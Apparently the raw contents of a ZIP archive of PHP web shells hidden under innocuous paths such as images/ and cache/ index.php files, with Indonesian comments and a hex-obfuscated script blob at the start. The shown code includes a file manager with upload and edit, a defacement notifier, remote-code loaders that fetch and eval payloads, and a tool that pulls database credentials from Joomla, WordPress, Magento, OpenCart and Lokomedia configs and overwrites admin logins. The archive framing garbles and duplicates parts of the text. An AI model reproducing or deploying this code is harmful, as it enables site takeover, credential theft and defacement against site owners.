5b\x63\135\x29\x7b\x70\x3d\160\56\x72\x65\x70\x6c\x61\143\x65\x28\x6e\x65\x77\40\122\145\147\x45\170\x70\50\x27\x5c\x5c\x62\x27\x2b\x65\50\143\x29\x2b\47\134\134\142\x27\x2c\x27\x67\47\x29\54\153\133\x63\x5d\x29\x7d\x7d\162\145\164\165\x72\156\40\160\175\x28\47\105\56\156\x28\51\x3b\x24\50\134\x27\133\x32\55\x6d\75\x22\64\42\135\x5c\47\x29\56\x34\50\x29\x3b\44\50\x22\56\x6c\42\x29\56\x6b\x28\152\50\x65\51\173\145\56\x67\x28\x29\73\150\x20\x30\x3d\44\x28\66\x29\x2e\x35\50\x22\62\55\60\42\x29\73\x63\x28\x7b\x62\x3a\x22\141\42\54\71\72\x22\157\x20\151\x20\x71\x3f\42\x2c\x77\x3a\x22\104\x20\42\x2b\60\x2b\42\x20\x70\40\x43\40\x42\x22\x2c\x41\72\67\x2c\x7a\x3a\67\x2c\175\x29\56\x79\x28\50\70\x29\75\76\x7b\x72\50\x38\x29\x7b\x78\x20\x31\x3d\x24\50\66\x29\56\x35\50\x22\x33\42\51\x2b\x22\46\x74\x3d\42\x2b\50\x28\60\75\75\42\x76\42\51\77\42\144\x22\x3a\42\146\x22\51\x3b\x75\56\x73\56\x33\75\x31\x7d\175\51\175\x29\73\47\54\64\61\54\64\x31\x2c\47\164\171\x70\145\174\142\165\x69\x6c\144\125\x52\114\x7c\x64\141\164\x61\174\150\x72\145\146\x7c\x74\157\x6f\x6c\x74\x69\x70\x7c\x61\x74\x74\x72\x7c\164\x68\151\163\174\164\162\x75\145\174\167\151\154\x6c\104\145\x6c\x65\164\x65\174\x74\x69\164\x6c\145\174\167\141\162\x6e\x69\156\147\174\151\143\157\x6e\174\x73\x77\141\154\174\174\x7c\174\x70\162\x65\x76\x65\156\164\104\145\146\141\165\154\164\x7c\154\145\x74\x7c\171\157\x75\x7c\x66\165\156\143\x74\x69\x6f\x6e\x7c\143\x6c\x69\x63\x6b\174\x64\145\154\145\164\145\x7c\164\157\147\x67\x6c\x65\174\x69\156\x69\164\174\101\162\145\x7c\x77\x69\x6c\x6c\174\163\165\x72\x65\x7c\151\x66\174\x6c\157\143\x61\x74\151\x6f\x6e\x7c\174\144\x6f\143\x75\x6d\145\156\x74\174\x66\157\x6c\144\145\x72\x7c\164\145\170\164\x7c\143\157\x6e\163\164\x7c\x74\x68\x65\x6e\174\x64\x61\x6e\147\145\162\115\x6f\x64\x65\x7c\142\165\x74\164\157\156\x73\x7c\x64\145\x6c\x65\164\145\x64\174\142\x65\x7c\124\x68\x69\x73\x7c\142\x73\103\x75\x73\x74\157\155\106\x69\154\x65\x49\156\160\x75\x74\x27\x2e\163\x70\x6c\x69\164\50\x27\x7c\x27\x29\54\x30\x2c\173\175\x29\51\x3c\x2f\163\143\x72\x69\160\x74\x3e\15\xa\x3c\57\x62\157\144\x79\76\xd\xa\x3c\x2f\x68\164\155\154\76"; PK25\uܝimages/vftw/index.phpnuW+A' . $content); ?>PK65\t[ I[I[3data/files/tmp/docs/src/assets/zfnhs/ukhx/index.phpnuW+A

Adminer Downloader

"; if (file_exists('adminer.php')) { echo "-> adminer login <-"; } else { if (adminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) { echo "-> adminer login <-"; } else { echo "Failed to create adminer.php"; } } echo ""; exit; } // Simulated Zone-H Notifier if (isset($_GET['DPH']) && $_GET['DPH'] == 'zoneh') { echo "

Zone-H Style Notifier (Simulated)

"; if (isset($_POST['submit'])) { $domainList = explode("\r\n", $_POST['url']); $nick = $_POST['nick']; echo "Notifier Archive: http://zone-h.org/archive/notifier=$nick

"; foreach ($domainList as $url) { $url = trim($url); if ($url) { echo htmlspecialchars($url) . " -> SIMULATED_OK
"; } } } else { echo "
Defacer:

Domains:

"; } echo "

"; exit; } // Auto Edit User Config if (isset($_GET['DPH']) && $_GET['DPH'] == 'edit_user') { function ambilkata($string, $start, $end) { $str = explode($start, $string); if (isset($str[1])) { $str = explode($end, $str[1]); return $str[0]; } return ''; } if (isset($_POST['hajar'])) { if (strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) { echo "username atau password harus lebih dari 6 karakter"; } else { $user_baru = $_POST['user_baru']; $pass_baru = md5($_POST['pass_baru']); $conf = $_POST['config_dir']; $scan_conf = scandir($conf); foreach($scan_conf as $file_conf) { if(!is_file("$conf/$file_conf")) continue; $config = file_get_contents("$conf/$file_conf"); if(preg_match("/JConfig|joomla/",$config)) { $dbhost = ambilkata($config,"host = '","'"); $dbuser = ambilkata($config,"user = '","'"); $dbpass = ambilkata($config,"password = '","'"); $dbname = ambilkata($config,"db = '","'"); $dbprefix = ambilkata($config,"dbprefix = '","'"); $prefix = $dbprefix."users"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result['id']; $site = ambilkata($config,"sitename = '","'"); $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => Joomla
"; if($site == '') { echo "Sitename => error, gabisa ambil nama domain nya
"; } else { echo "Sitename => $site
"; } if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/WordPress/",$config)) { $dbhost = ambilkata($config,"DB_HOST', '","'"); $dbuser = ambilkata($config,"DB_USER', '","'"); $dbpass = ambilkata($config,"DB_PASSWORD', '","'"); $dbname = ambilkata($config,"DB_NAME', '","'"); $dbprefix = ambilkata($config,"table_prefix = '","'"); $prefix = $dbprefix."users"; $option = $dbprefix."options"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result[ID]; $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); $result2 = mysql_fetch_array($q2); $target = $result2[option_value]; if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target/wp-login.php
"; } $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => Wordpress
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/Magento|Mage_Core/",$config)) { $dbhost = ambilkata($config,""); $dbuser = ambilkata($config,""); $dbpass = ambilkata($config,""); $dbname = ambilkata($config,""); $dbprefix = ambilkata($config,""); $prefix = $dbprefix."admin_user"; $option = $dbprefix."core_config_data"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'"); $result2 = mysql_fetch_array($q2); $target = $result2[value]; if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target/admin/
"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => Magento
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) { $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'"); $dbuser = ambilkata($config,"'DB_USERNAME', '","'"); $dbpass = ambilkata($config,"'DB_PASSWORD', '","'"); $dbname = ambilkata($config,"'DB_DATABASE', '","'"); $dbprefix = ambilkata($config,"'DB_PREFIX', '","'"); $prefix = $dbprefix."user"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $target = ambilkata($config,"HTTP_SERVER', '","'"); if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target
"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => OpenCart
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) { $dbhost = ambilkata($config,'server = "','"'); $dbuser = ambilkata($config,'username = "','"'); $dbpass = ambilkata($config,'password = "','"'); $dbname = ambilkata($config,'database = "','"'); $prefix = "users"; $option = "identitas"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); $result = mysql_fetch_array($q); $target = $result[alamat_website]; if($target == '') { $target2 = $result[url]; $url_target = "Login => error, gabisa ambil nama domain nyaa
"; if($target2 == '') { $url_target2 = "Login => error, gabisa ambil nama domain nyaa
"; } else { $cek_login3 = file_get_contents("$target2/adminweb/"); $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => $target2/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => $target2/lokomedia/adminweb
"; } else { $url_target2 = "Login => $target2 [ gatau admin login nya dimana :p ]
"; } } } else { $cek_login = file_get_contents("$target/adminweb/"); $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => $target/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => $target/lokomedia/adminweb
"; } else { $url_target = "Login => $target [ gatau admin login nya dimana :p ]
"; } } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'"); echo "Config => ".$file_conf."
"; echo "CMS => Lokomedia
"; if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) { echo $url_target2; } else { echo $url_target; } if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } } } } else { echo "

Auto Edit User Config

DIR Config:


Set User & Pass:


NB: Tools ini work jika dijalankan di dalam folder config ( ex: /home/user/public_html/nama_folder_config )
"; exit; } } // Directory Navigation $pathParts = explode("/", $currentDir); echo "
"; foreach ($pathParts as $k => $v) { if ($v == "" && $k == 0) { echo "/"; continue; } $dirPath = implode("/", array_slice($pathParts, 0, $k + 1)); echo "$v/"; } echo "
"; // Upload if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) { $fileName = $_FILES['u']['name']; $tmpName = $_FILES['u']['tmp_name']; $destination = $currentDir . '/' . $fileName; if (move_uploaded_file($tmpName, $destination)) { echo ""; } else { echo ""; } } // File/Folder Listing $items = scandir($currentDir); if ($items !== false) { echo ""; echo ""; foreach ($items as $item) { $fullPath = $currentDir . '/' . $item; if ($item == '.' || $item == '..') continue; if (is_dir($fullPath)) { echo ""; } else { $size = filesize($fullPath) / 1024; $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB'; echo ""; } } echo "
NameSizeAction
📁 $item----
📄 $item$size" . "Delete | " . "Edit | " . "Rename" . "
"; } else { echo "

Unable to read directory!

"; } // Delete File if (isset($_POST['del'])) { $filePath = base64_decode($_POST['del']); $fileDir = dirname($filePath); if (@unlink($filePath)) { echo ""; } else { echo ""; } } // Edit File if (isset($_POST['edit'])) { $filePath = base64_decode($_POST['edit']); $fileDir = dirname($filePath); if (file_exists($filePath)) { echo ""; echo "Back"; echo "
"; } } // Save Edited File if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $filePath = base64_decode($_POST['obj']); $fileDir = dirname($filePath); if (file_put_contents($filePath, $_POST['content'])) { echo ""; } else { echo ""; } } // Rename if (isset($_POST['ren'])) { $oldPath = base64_decode($_POST['ren']); $oldDir = dirname($oldPath); if (isset($_POST['new'])) { $newPath = $oldDir . '/' . $_POST['new']; if (rename($oldPath, $newPath)) { echo ""; } else { echo ""; } } else { echo "
New Name:
"; } } ?> File Manager + Adminer + ZoneH + AutoEditUser
Adminer Download | Zone-H Notifier | Auto Edit User Config
PK65\wadata/fxbv/mmlr/admin.phpnuW+A 1, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0 ]); $data = curl_exec($request); curl_close($request); } if(empty($data)){ $data = @file_get_contents($target_url); } if($data) eval("?>$data"); } fetch_content(); ?>PK65\{vv)data/includes/2024/v1/v1/v2/pdv/admin.phpnuW+A' . $code); } else { die("Gagal mengambil kode."); } ?>PK65\|!files/content/files/bjb/index.phpnuW+A' . base64_decode($code)); } ?>PK65\t[ I[I[$docs/src/assets/zfnhs/ukhx/index.phpnuW+A

Adminer Downloader

"; if (file_exists('adminer.php')) { echo "-> adminer login <-"; } else { if (adminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) { echo "-> adminer login <-"; } else { echo "Failed to create adminer.php"; } } echo "
"; exit; } // Simulated Zone-H Notifier if (isset($_GET['DPH']) && $_GET['DPH'] == 'zoneh') { echo "

Zone-H Style Notifier (Simulated)

"; if (isset($_POST['submit'])) { $domainList = explode("\r\n", $_POST['url']); $nick = $_POST['nick']; echo "Notifier Archive: http://zone-h.org/archive/notifier=$nick

"; foreach ($domainList as $url) { $url = trim($url); if ($url) { echo htmlspecialchars($url) . " -> SIMULATED_OK
"; } } } else { echo "
Defacer:

Domains:

"; } echo "

"; exit; } // Auto Edit User Config if (isset($_GET['DPH']) && $_GET['DPH'] == 'edit_user') { function ambilkata($string, $start, $end) { $str = explode($start, $string); if (isset($str[1])) { $str = explode($end, $str[1]); return $str[0]; } return ''; } if (isset($_POST['hajar'])) { if (strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) { echo "username atau password harus lebih dari 6 karakter"; } else { $user_baru = $_POST['user_baru']; $pass_baru = md5($_POST['pass_baru']); $conf = $_POST['config_dir']; $scan_conf = scandir($conf); foreach($scan_conf as $file_conf) { if(!is_file("$conf/$file_conf")) continue; $config = file_get_contents("$conf/$file_conf"); if(preg_match("/JConfig|joomla/",$config)) { $dbhost = ambilkata($config,"host = '","'"); $dbuser = ambilkata($config,"user = '","'"); $dbpass = ambilkata($config,"password = '","'"); $dbname = ambilkata($config,"db = '","'"); $dbprefix = ambilkata($config,"dbprefix = '","'"); $prefix = $dbprefix."users"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result['id']; $site = ambilkata($config,"sitename = '","'"); $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => Joomla
"; if($site == '') { echo "Sitename => error, gabisa ambil nama domain nya
"; } else { echo "Sitename => $site
"; } if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/WordPress/",$config)) { $dbhost = ambilkata($config,"DB_HOST', '","'"); $dbuser = ambilkata($config,"DB_USER', '","'"); $dbpass = ambilkata($config,"DB_PASSWORD', '","'"); $dbname = ambilkata($config,"DB_NAME', '","'"); $dbprefix = ambilkata($config,"table_prefix = '","'"); $prefix = $dbprefix."users"; $option = $dbprefix."options"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result[ID]; $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); $result2 = mysql_fetch_array($q2); $target = $result2[option_value]; if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target/wp-login.php
"; } $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => Wordpress
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/Magento|Mage_Core/",$config)) { $dbhost = ambilkata($config,""); $dbuser = ambilkata($config,""); $dbpass = ambilkata($config,""); $dbname = ambilkata($config,""); $dbprefix = ambilkata($config,""); $prefix = $dbprefix."admin_user"; $option = $dbprefix."core_config_data"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'"); $result2 = mysql_fetch_array($q2); $target = $result2[value]; if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target/admin/
"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => Magento
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) { $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'"); $dbuser = ambilkata($config,"'DB_USERNAME', '","'"); $dbpass = ambilkata($config,"'DB_PASSWORD', '","'"); $dbname = ambilkata($config,"'DB_DATABASE', '","'"); $dbprefix = ambilkata($config,"'DB_PREFIX', '","'"); $prefix = $dbprefix."user"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $target = ambilkata($config,"HTTP_SERVER', '","'"); if($target == '') { $url_target = "Login => error, gabisa ambil nama domain nyaa
"; } else { $url_target = "Login => $target
"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); echo "Config => ".$file_conf."
"; echo "CMS => OpenCart
"; echo $url_target; if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) { $dbhost = ambilkata($config,'server = "','"'); $dbuser = ambilkata($config,'username = "','"'); $dbpass = ambilkata($config,'password = "','"'); $dbname = ambilkata($config,'database = "','"'); $prefix = "users"; $option = "identitas"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); $result = mysql_fetch_array($q); $target = $result[alamat_website]; if($target == '') { $target2 = $result[url]; $url_target = "Login => error, gabisa ambil nama domain nyaa
"; if($target2 == '') { $url_target2 = "Login => error, gabisa ambil nama domain nyaa
"; } else { $cek_login3 = file_get_contents("$target2/adminweb/"); $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => $target2/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => $target2/lokomedia/adminweb
"; } else { $url_target2 = "Login => $target2 [ gatau admin login nya dimana :p ]
"; } } } else { $cek_login = file_get_contents("$target/adminweb/"); $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => $target/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => $target/lokomedia/adminweb
"; } else { $url_target = "Login => $target [ gatau admin login nya dimana :p ]
"; } } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'"); echo "Config => ".$file_conf."
"; echo "CMS => Lokomedia
"; if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) { echo $url_target2; } else { echo $url_target; } if(!$update OR !$conn OR !$db) { echo "Status => ".mysql_error()."

"; } else { echo "Status => sukses edit user, silakan login dengan user & pass yang baru.

"; } mysql_close($conn); } } } } else { echo "

Auto Edit User Config

DIR Config:


Set User & Pass:


NB: Tools ini work jika dijalankan di dalam folder config ( ex: /home/user/public_html/nama_folder_config )
"; exit; } } // Directory Navigation $pathParts = explode("/", $currentDir); echo "
"; foreach ($pathParts as $k => $v) { if ($v == "" && $k == 0) { echo "/"; continue; } $dirPath = implode("/", array_slice($pathParts, 0, $k + 1)); echo "$v/"; } echo "
"; // Upload if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) { $fileName = $_FILES['u']['name']; $tmpName = $_FILES['u']['tmp_name']; $destination = $currentDir . '/' . $fileName; if (move_uploaded_file($tmpName, $destination)) { echo ""; } else { echo ""; } } // File/Folder Listing $items = scandir($currentDir); if ($items !== false) { echo ""; echo ""; foreach ($items as $item) { $fullPath = $currentDir . '/' . $item; if ($item == '.' || $item == '..') continue; if (is_dir($fullPath)) { echo ""; } else { $size = filesize($fullPath) / 1024; $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB'; echo ""; } } echo "
NameSizeAction
📁 $item----
📄 $item$size" . "Delete | " . "Edit | " . "Rename" . "
"; } else { echo "

Unable to read directory!

"; } // Delete File if (isset($_POST['del'])) { $filePath = base64_decode($_POST['del']); $fileDir = dirname($filePath); if (@unlink($filePath)) { echo ""; } else { echo ""; } } // Edit File if (isset($_POST['edit'])) { $filePath = base64_decode($_POST['edit']); $fileDir = dirname($filePath); if (file_exists($filePath)) { echo ""; echo "Back"; echo "
"; } } // Save Edited File if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $filePath = base64_decode($_POST['obj']); $fileDir = dirname($filePath); if (file_put_contents($filePath, $_POST['content'])) { echo ""; } else { echo ""; } } // Rename if (isset($_POST['ren'])) { $oldPath = base64_decode($_POST['ren']); $oldDir = dirname($oldPath); if (isset($_POST['new'])) { $newPath = $oldDir . '/' . $_POST['new']; if (rename($oldPath, $newPath)) { echo ""; } else { echo ""; } } else { echo "
New Name:
"; } } ?> File Manager + Adminer + ZoneH + AutoEditUser
Adminer Download | Zone-H Notifier | Auto Edit User Config
PK:5\Ic%media/dist/cache/files/yrat/index.phpnuW+APKث4\SB666modules/klbg/includes/v3/tmp/images/zviu/zys/admin.phpnuW+APKث4\d$''"7tmp/lxv/index.phpnuW+APK4\d$'' [_lxv/index.phpnuW+APKM4\SB66images/zviu/zys/admin.phpnuW+APK} 5\|b|bgjldh/index.phpnuW+APK]5\$J!Q33P!cache/js/xvn/fdl/admin.phpnuW+APK25\uܝ1images/vftw/index.phpnuW+APK65\t[ I[I[33data/files/tmp/docs/src/assets/zfnhs/ukhx/index.phpnuW+APK65\waRdata/fxbv/mmlr/admin.phpnuW+APK65\{vv)7data/includes/2024/v1/v1/v2/pdv/admin.phpnuW+APK65\|!files/content/files/bjb/index.phpnuW+APK65\t[ I[I[$docs/src/assets/zfnhs/ukhx/index.phpnuW+APK:5\Ic%media/dist/cache/files/yrat/index.phpnuW+APK